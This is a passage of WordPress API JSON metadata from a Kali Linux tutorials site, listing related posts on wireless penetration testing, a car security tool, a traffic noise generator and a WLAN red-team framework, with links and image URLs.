Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiQasQvhtij2lEJNYYRyKYULfEv2izy3-YuXwfo51oUVuEX8WHa_MT6v4CbG98qUqalOBIGJMW6GQYIJX2G11RRSU0naIRzHP5ZPz1IRLIhcJFHLRx0ijJETJhOuVwEsXw_emM3NhID6Eq7SueeRoml6ehpiuj_H2qwo4I3vcXLQS0-mDIuMnRkaA6q\/s728\/logo_full%20%282%29.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiQasQvhtij2lEJNYYRyKYULfEv2izy3-YuXwfo51oUVuEX8WHa_MT6v4CbG98qUqalOBIGJMW6GQYIJX2G11RRSU0naIRzHP5ZPz1IRLIhcJFHLRx0ijJETJhOuVwEsXw_emM3NhID6Eq7SueeRoml6ehpiuj_H2qwo4I3vcXLQS0-mDIuMnRkaA6q\/s728\/logo_full%20%282%29.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiQasQvhtij2lEJNYYRyKYULfEv2izy3-YuXwfo51oUVuEX8WHa_MT6v4CbG98qUqalOBIGJMW6GQYIJX2G11RRSU0naIRzHP5ZPz1IRLIhcJFHLRx0ijJETJhOuVwEsXw_emM3NhID6Eq7SueeRoml6ehpiuj_H2qwo4I3vcXLQS0-mDIuMnRkaA6q\/s728\/logo_full%20%282%29.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiQasQvhtij2lEJNYYRyKYULfEv2izy3-YuXwfo51oUVuEX8WHa_MT6v4CbG98qUqalOBIGJMW6GQYIJX2G11RRSU0naIRzHP5ZPz1IRLIhcJFHLRx0ijJETJhOuVwEsXw_emM3NhID6Eq7SueeRoml6ehpiuj_H2qwo4I3vcXLQS0-mDIuMnRkaA6q\/s728\/logo_full%20%282%29.png?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":11243,"url":"https:\/\/kalilinuxtutorials.com\/wireless-penetration-testing-approach-kali-linux-and-raspberry-pi-for-security-analytics\/","url_meta":{"origin":5158,"position":2},"title":"Wireless Penetration Testing Approach: Kali Linux and Raspberry Pi for Security Analytics","author":"Balaji N","date":"August 16, 2020","format":false,"excerpt":"As of 2020, we all are aware of the security breaches happening to the data within the organization. The organizations are using the LAN network or wifi networks, allowing the employees to access and perform their tasks and operations. To ensure that the organization\u2019s sensitive data is secured, a secured\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"https:\/\/lh5.googleusercontent.com\/SX1WwH0AfyfWX9zHbYYpmZNc56KfhYK0Zs3sNKr8x98ylQ3ih0Olkq67LGjoPiC-9zqm4CV9dkLVTMan3SferYZ2RdsyCl7lmNRHOjMn7WEcUSpSCsHXAycf6GIDMZeo2w","width":350,"height":200},"classes":[]},{"id":6335,"url":"https:\/\/kalilinuxtutorials.com\/4can-security-tool-security-vulnerabilities-cars\/","url_meta":{"origin":5158,"position":3},"title":"4CAN : Open Source Security Tool to Find Security Vulnerabilities in Modern Cars","author":"R K","date":"August 28, 2019","format":false,"excerpt":"4CAN is an open source security tool to find security vulnerabilities in modern cars. Tested on the following raspbian images using a pi3b+ Apr 2019 (kernel 4.14.98-v7+)Oct 2018 (kernel 4.14.71-v7+)Jun 2018 (kernel 4.14.50-v7+) 4can should also work with a pi0w, but it's recommended to use at least a pi3b. Also\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":2049,"url":"https:\/\/kalilinuxtutorials.com\/noisy-dns-http\/","url_meta":{"origin":5158,"position":4},"title":"Noisy &#8211; Simple random DNS, HTTP\/S Internet Traffic Noise Generator","author":"R K","date":"July 25, 2018","format":false,"excerpt":"Noisy is a simple python script that generates random HTTP\/DNS traffic noise in the background while you go about your regular web browsing, to make your web traffic data less valuable for selling and for extra obscurity.Tested on MacOS High Sierra, Ubuntu 16.04 and Raspbian Stretch and is compatable with\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"https:\/\/github.com\/Nekmo\/dirhunt","src":"https:\/\/i0.wp.com\/kalilinuxtutorials.com\/wp-content\/uploads\/2018\/04\/button_download.png?resize=350%2C200&ssl=1","width":350,"height":200},"classes":[]},{"id":26934,"url":"https:\/\/kalilinuxtutorials.com\/pinecone-2\/","url_meta":{"origin":5158,"position":5},"title":"Pinecone : A WLAN Red Team Framework","author":"R K","date":"September 14, 2022","format":false,"excerpt":"Pinecone is a WLAN networks auditing tool, suitable for red team usage. It is extensible via modules, and it is designed to be run in Debian-based operating systems. Pinecone is specially oriented to be used with a Raspberry Pi, as a portable wireless auditing box. This tool is designed for\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhKiWX7HNYblrmEkxVtGrX18M3A9lpCjOlDVQPs2qyd0FE6DjUF1gY3rMw3VGmUBrAH8JBCJWHS6ZlKEykT705KNcUH-eMWD7ebqo_wXP-m4wDQAB11s6WTO6gK8RlkS2Q9qNgM9jTrIeDaVxkoPt5OEQfi9XciEiQzhCeUWgO260zxZiUNaw7raAwx\/s728\/logo_full%20%281%29.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhKiWX7HNYblrmEkxVtGrX18M3A9lpCjOlDVQPs2qyd0FE6DjUF1gY3rMw3VGmUBrAH8JBCJWHS6ZlKEykT705KNcUH-eMWD7ebqo_wXP-m4wDQAB11s6WTO6gK8RlkS2Q9qNgM9jTrIeDaVxkoPt5OEQfi9XciEiQzhCeUWgO260zxZiUNaw7raAwx\/s728\/logo_full%20%281%29.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhKiWX7HNYblrmEkxVtGrX18M3A9lpCjOlDVQPs2qyd0FE6DjUF1gY3rMw3VGmUBrAH8JBCJWHS6ZlKEykT705KNcUH-eMWD7ebqo_wXP-m4wDQAB11s6WTO6gK8RlkS2Q9qNgM9jTrIeDaVxkoPt5OEQfi9XciEiQzhCeUWgO260zxZiUNaw7raAwx\/s728\/logo_full%20%281%29.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhKiWX7HNYblrmEkxVtGrX18M3A9lpCjOlDVQPs2qyd0FE6DjUF1gY3rMw3VGmUBrAH8JBCJWHS6ZlKEykT705KNcUH-eMWD7ebqo_wXP-m4wDQAB11s6WTO6gK8RlkS2Q9qNgM9jTrIeDaVxkoPt5OEQfi9XciEiQzhCeUWgO260zxZiUNaw7raAwx\/s728\/logo_full%20%281%29.png?resize=700%2C400&ssl=1 2x"},"classes":[]}],"_links":{"self":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/posts\/5158","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/comments?post=5158"}],"version-history":[{"count":0,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/posts\/5158\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/media\/15571"}],"wp:attachment":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/media?parent=5158"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/categories?post=5158"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/tags?post=5158"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}